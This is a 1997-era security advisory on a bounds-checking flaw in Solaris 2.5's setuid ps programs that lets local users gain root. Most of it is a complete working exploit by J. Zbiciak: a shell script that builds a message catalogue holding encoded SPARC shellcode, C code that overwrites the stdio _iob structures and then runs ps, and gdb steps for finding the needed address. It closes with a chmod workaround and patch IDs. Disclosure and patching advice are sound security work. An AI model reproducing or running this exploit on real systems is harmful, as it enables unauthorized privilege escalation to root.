COMMAND

    /usr/bin/ps (/usr/ucb/ps in similar way)

SYSTEMS AFFECTED

    Solaris 2.5

PROBLEM

    ps is a program used  to print information about active  processes
    on the system.

    Due to insufficient bounds checking on arguments passed to the  ps
    program, it is  possible to overwrite  the internal data  space of
    this program while it  is executing. This vulnerability  may allow
    local users to gain root privileges.  Under Solaris 2.x there  are
    two distinct vulnerable  versions of ps.   These are installed  by
    default in /usr/bin/ and /usr/ucb/.

    Joe Zbiciak made an exploit for  ps.  This exploit does *not*  use
    the  getopt()/argv[0]  hole.   This  partial  exploit is unique in
    that  it  does  *not*  rely  on  an  executable stack.  Rather, it
    overwrites the  buffer pointers  in _iob[0]  through _iob[2], thus
    inducing  stdio  streams  to  do  the  dirty  work.   Below is the
    complete exploit.

    Incidentally, it appears  that /usr/ucb/ps is  equally succeptable
    to this hole, except the vulnerability is on the -t argument,  and
    the string grokked  by gettext is  different, so the  "ps_expl.po"
    file needs  to be  changed slightly.   Fortunately, "environ"  and
    "proc_link" are pretty much the same.

    A number of you have written saying that the exploit doesn't work.
    The biggest problem is that the exploit relies on a very  specific
    address (which is  putted in the  proc_link variable) in  order to
    work.  The following shortcut seems to work for finding the  value
    for the  bothersome proc_link  variable.   You don't  need to be a
    gdb whiz to do this:

    $ gdb ./ps
    GDB is free software and you are welcome to distribute copies of it
    under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.16 (sparc-sun-solaris2.4),
    Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
    (gdb) break exit
    Breakpoint 1 at 0x25244
    (gdb) run
    Starting program: /home3/student/im14u2c/c/./ps
    (no debugging symbols found)...(no debugging symbols found)...
    (no debugging symbols found)...Breakpoint 1 at 0xef7545c0
    (no debugging symbols found)...   PID TTY      TIME CMD
      9840 pts/27   0:01 ps
     19499 pts/27   0:10 bash
      9830 pts/27   0:02 gdb

    Breakpoint 1, 0xef7545c0 in exit ()
    (gdb) disassemble exit
    Dump of assembler code for function exit:
    0xef7545c0 <exit>:      call  0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
    0xef7545c4 <exit+4>:    nop
    0xef7545c8 <exit+8>:    mov  1, %g1
    0xef7545cc <exit+12>:   ta  8
    End of assembler dump.
    (gdb)

    The magic  number is  in the  "call" above:  0xef771408.   Anyway,
    exploit.

    --- ps_expl.sh: cut here ---
    #!/bin/sh
    #
    # Exploit for Solaris 2.5 /usr/bin/ps
    # J. Zbiciak, 5/18/97
    #

    # change as appropriate
    CC=gcc

    # Build the "replacement message" :-)
    cat > ps_expl.po << E_O_F
    domain "SUNW_OST_OSCMD"
    msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
    msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025"
           "\343\150\220\013\200\016\222\003\240\014\224\032\200\012"
           "\234\003\240\024\354\073\277\354\300\043\277\364\334\043"
           "\277\370\300\043\277\374\202\020\040\073\221\320\040\010"
           "\220\033\300\017\202\020\040\001\221\320\040\010"
    E_O_F

    msgfmt -o /tmp/foo ps_expl.po

    # Build the C portion of the exploit
    cat > ps_expl.c << E_O_F

    /*****************************************/
    /* Exploit for Solaris 2.5 /usr/bin/ps   */
    /* J. Zbiciak,  5/18/97                  */
    /*****************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BUF_LENGTH      (632)
    #define EXTRA           (256)

    int main(int argc, char *argv[])
    {
            char buf[BUF_LENGTH + EXTRA];
                          /* ps will grok this file for the exploit code */
            char *envp[]={"NLSPATH=/tmp/foo",0};
            u_long *long_p;
            u_char *char_p;
                            /* This will vary depending on your libc */
            u_long proc_link=0xef70ef70;
            int i;

            long_p = (u_long *) buf;

            /* This first loop smashes the target buffer for optargs */
            for (i = 0; i < (96) / sizeof(u_long); i++)
                    *long_p++ = 0x10101010;

            /* At offset 96 is the environ ptr -- be careful not to mess it up */
            *long_p++=0xeffffcb0;
            *long_p++=0xffffffff;

            /* After that is the _ctype table.  Filling with 0x10101010 marks the
               entire character set as being "uppercase printable". */
            for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
                    *long_p++ = 0x10101010;

            /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
            *long_p++ = proc_link;    /* pointer to chars in buffer */
            *long_p++ = proc_link;    /* pointer to buffer */
            *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
            /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */

            /* build up _iob[1] */
            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
            *long_p++ = proc_link;    /* pointer to chars in buffer */
            *long_p++ = proc_link;    /* pointer to buffer */
            *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */

            /* build up _iob[2] */
            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
            *long_p++ = proc_link;    /* pointer to chars in buffer */
            *long_p++ = proc_link;    /* pointer to buffer */
            *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */

            *long_p =0;

            /* The following includes the invalid argument '-z' to force the
               usage msg to appear after the arguments have been parsed. */
            execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
            perror("execle failed");

            return 0;
    }
    E_O_F

    # Compile it
    $CC -o ps_expl ps_expl.c

    # And off we go!
    exec ./ps_expl

    --- EOF ---

SOLUTION

    You should  remove setuid  and non-root  execute permissions until
    you apply patch:

        # chmod 500 /usr/bin/ps /usr/ucb/ps

    The vulnerability in ps is fixed by the following patches:

        OS version      Patch ID
        __________      ________
        SunOS 5.5.1     105050-01
        SunOS 5.5.1_x86 105051-01
        SunOS 5.5       105052-01
        SunOS 5.5_x86   105053-01
        SunOS 5.4       102711-02
        SunOS 5.4_x86   102712-02
        SunOS 5.3       101545-03